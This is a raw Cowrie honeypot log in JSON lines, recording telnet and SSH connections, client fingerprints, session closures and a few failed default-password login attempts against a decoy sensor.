{"eventid":"cowrie.session.closed","duration":30.811915636062622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:04.643292Z","src_ip":"174.142.104.49","session":"3c3ffcc28a90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311947107315063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:05.002704Z","src_ip":"193.22.147.168","session":"193ec2bbb141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30736804008484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:05.044364Z","src_ip":"174.142.104.49","session":"1d07b2c5ff1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.878098964691162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:05.100980Z","src_ip":"174.142.104.49","session":"83e95e171b67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47188,"dst_ip":"159.203.135.109","dst_port":23,"session":"0343c5d3c3ad","protocol":"telnet","message":"New connection: 174.142.104.49:47188 (159.203.135.109:23) [session: 0343c5d3c3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:05.168765Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":51884,"dst_ip":"10.17.0.5","dst_port":22,"session":"1461f30d1ef8","protocol":"ssh","message":"New connection: 88.205.172.170:51884 (10.17.0.5:22) [session: 1461f30d1ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:05.489206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:05.498983Z","src_ip":"88.205.172.170","session":"1461f30d1ef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":79.04360938072205,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:05.576605Z","src_ip":"174.142.104.49","session":"f682cd7c9601","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:05.667000Z","src_ip":"88.205.172.170","session":"1461f30d1ef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":39222,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b6471b70bb2","protocol":"telnet","message":"New connection: 193.22.147.168:39222 (10.17.0.5:23) [session: 1b6471b70bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:06.116491Z"}
{"eventid":"cowrie.session.closed","duration":32.23943877220154,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:06.257639Z","src_ip":"193.22.147.168","session":"c89938517a69","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"..","message":"login attempt [ubuntu/..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:06.368079Z","src_ip":"88.205.172.170","session":"1461f30d1ef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.32148313522339,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:06.762861Z","src_ip":"193.22.147.168","session":"9ee72b82763d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":80.7988669872284,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:07.076593Z","src_ip":"174.142.104.49","session":"d26765938e39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40208339691162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:07.218180Z","src_ip":"193.22.147.168","session":"bcba117923dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934035778045654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:07.239720Z","src_ip":"174.142.104.49","session":"e068eae9a123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:07.538514Z","src_ip":"88.205.172.170","session":"1461f30d1ef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.63875937461853,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:07.619933Z","src_ip":"174.142.104.49","session":"9c11a6f0cea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.312848567962646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:07.764555Z","src_ip":"161.132.53.68","session":"697ca900ba85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.52477622032166,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:08.152627Z","src_ip":"174.142.104.49","session":"829f7927bb09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":39738,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cc2bd5e81a0","protocol":"ssh","message":"New connection: 96.78.175.36:39738 (10.17.0.5:22) [session: 9cc2bd5e81a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:08.193570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:08.220044Z","src_ip":"96.78.175.36","session":"9cc2bd5e81a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:08.298653Z","src_ip":"96.78.175.36","session":"9cc2bd5e81a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60854,"dst_ip":"159.203.135.109","dst_port":23,"session":"db1a8a81d29e","protocol":"telnet","message":"New connection: 174.142.104.49:60854 (159.203.135.109:23) [session: db1a8a81d29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:08.501195Z"}
{"eventid":"cowrie.session.closed","duration":0.006305694580078125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:08.507323Z","src_ip":"174.142.104.49","session":"db1a8a81d29e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52650,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c44de997e6c","protocol":"telnet","message":"New connection: 174.142.104.49:52650 (159.203.135.109:23) [session: 1c44de997e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:08.574270Z"}
{"eventid":"cowrie.login.failed","username":"deployhq","password":"deployhq","message":"login attempt [deployhq/deployhq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:08.648115Z","src_ip":"96.78.175.36","session":"9cc2bd5e81a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59662,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd47c2ff9bc6","protocol":"telnet","message":"New connection: 174.142.104.49:59662 (159.203.135.109:23) [session: dd47c2ff9bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:08.660318Z"}
{"eventid":"cowrie.session.closed","duration":0.00525355339050293,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:08.665379Z","src_ip":"174.142.104.49","session":"dd47c2ff9bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45202,"dst_ip":"159.203.135.109","dst_port":23,"session":"36078a52a549","protocol":"telnet","message":"New connection: 161.132.53.68:45202 (159.203.135.109:23) [session: 36078a52a549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:08.681736Z"}
{"eventid":"cowrie.session.closed","duration":30.956403732299805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:08.896482Z","src_ip":"174.142.104.49","session":"8b1a12a61c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00113415718079,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:09.035136Z","src_ip":"174.142.104.49","session":"de6bb16f0d8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.637024879455566,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:09.070276Z","src_ip":"193.22.147.168","session":"659f5f2735b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00187301635742,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:09.121949Z","src_ip":"174.142.104.49","session":"422d204c6023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903334140777588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:09.387795Z","src_ip":"193.22.147.168","session":"b88801d87253","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:09.740408Z","src_ip":"96.78.175.36","session":"9cc2bd5e81a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.353894233703613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:09.745093Z","src_ip":"174.142.104.49","session":"a41b307d98c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45212,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fe918d81f53","protocol":"telnet","message":"New connection: 161.132.53.68:45212 (159.203.135.109:23) [session: 4fe918d81f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:09.940379Z"}
{"eventid":"cowrie.session.closed","duration":120.00503373146057,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:09.945933Z","src_ip":"174.142.104.49","session":"3301080968ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.723730087280273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:10.072466Z","src_ip":"174.142.104.49","session":"df5ec16c8ce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48732,"dst_ip":"159.203.135.109","dst_port":23,"session":"06d8ef9f05f7","protocol":"telnet","message":"New connection: 174.142.104.49:48732 (159.203.135.109:23) [session: 06d8ef9f05f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:10.249912Z"}
{"eventid":"cowrie.session.closed","duration":30.427817821502686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:10.382208Z","src_ip":"174.142.104.49","session":"c33819c7893b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":33626,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee99b458072e","protocol":"telnet","message":"New connection: 193.22.147.168:33626 (10.17.0.5:23) [session: ee99b458072e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:10.585831Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45208,"dst_ip":"159.203.135.109","dst_port":23,"session":"56c323d1de8e","protocol":"telnet","message":"New connection: 161.132.53.68:45208 (159.203.135.109:23) [session: 56c323d1de8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:10.721839Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54728,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4369a7c694f","protocol":"telnet","message":"New connection: 174.142.104.49:54728 (159.203.135.109:23) [session: d4369a7c694f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:10.874526Z"}
{"eventid":"cowrie.session.closed","duration":30.97612237930298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:10.953113Z","src_ip":"174.142.104.49","session":"099c59cb00f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45216,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cae74a2df1c","protocol":"telnet","message":"New connection: 161.132.53.68:45216 (159.203.135.109:23) [session: 0cae74a2df1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:11.168737Z"}
{"eventid":"cowrie.session.closed","duration":31.4173264503479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:11.173632Z","src_ip":"193.22.147.168","session":"d40b20d34f37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36070,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa00adc88f3f","protocol":"telnet","message":"New connection: 174.142.104.49:36070 (159.203.135.109:23) [session: fa00adc88f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:11.230507Z"}
{"eventid":"cowrie.session.closed","duration":0.005005836486816406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:11.235406Z","src_ip":"174.142.104.49","session":"fa00adc88f3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.89.77.114","src_port":50199,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6e2a57c2902","protocol":"ssh","message":"New connection: 103.89.77.114:50199 (159.203.135.109:22) [session: f6e2a57c2902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:11.256710Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":14236,"dst_ip":"159.203.135.109","dst_port":22,"session":"7621ba92a8e0","protocol":"ssh","message":"New connection: 193.24.211.95:14236 (159.203.135.109:22) [session: 7621ba92a8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:11.453642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:11.459604Z","src_ip":"193.24.211.95","session":"7621ba92a8e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:11.570728Z","src_ip":"193.24.211.95","session":"7621ba92a8e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:11.810734Z","src_ip":"103.89.77.114","session":"f6e2a57c2902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.13310360908508,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:11.823439Z","src_ip":"193.22.147.168","session":"68f31b358c9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58368,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb84d493a0a9","protocol":"telnet","message":"New connection: 174.142.104.49:58368 (159.203.135.109:23) [session: bb84d493a0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:11.967974Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"22","message":"login attempt [admin/22] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:12.005271Z","src_ip":"193.24.211.95","session":"7621ba92a8e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.51049017906189,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:12.031960Z","src_ip":"174.142.104.49","session":"7f9bf17f790e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.554425716400146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:12.403206Z","src_ip":"174.142.104.49","session":"d8b4ed7f8a5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59094,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c2f9c20ac31","protocol":"telnet","message":"New connection: 174.142.104.49:59094 (159.203.135.109:23) [session: 5c2f9c20ac31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:12.417295Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59582,"dst_ip":"159.203.135.109","dst_port":23,"session":"a11bd3eb0c2e","protocol":"telnet","message":"New connection: 174.142.104.49:59582 (159.203.135.109:23) [session: a11bd3eb0c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:12.694646Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58224,"dst_ip":"159.203.135.109","dst_port":23,"session":"c44c78183556","protocol":"telnet","message":"New connection: 174.142.104.49:58224 (159.203.135.109:23) [session: c44c78183556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:12.878810Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55020,"dst_ip":"159.203.135.109","dst_port":23,"session":"d92480f9f05c","protocol":"telnet","message":"New connection: 174.142.104.49:55020 (159.203.135.109:23) [session: d92480f9f05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:13.097720Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:13.117317Z","src_ip":"193.24.211.95","session":"7621ba92a8e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":33630,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ca8e002c85a","protocol":"telnet","message":"New connection: 193.22.147.168:33630 (10.17.0.5:23) [session: 3ca8e002c85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:13.321863Z"}
{"eventid":"cowrie.session.closed","duration":32.44401526451111,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:13.527357Z","src_ip":"161.132.53.68","session":"0e2b486feccc","protocol":"telnet"}
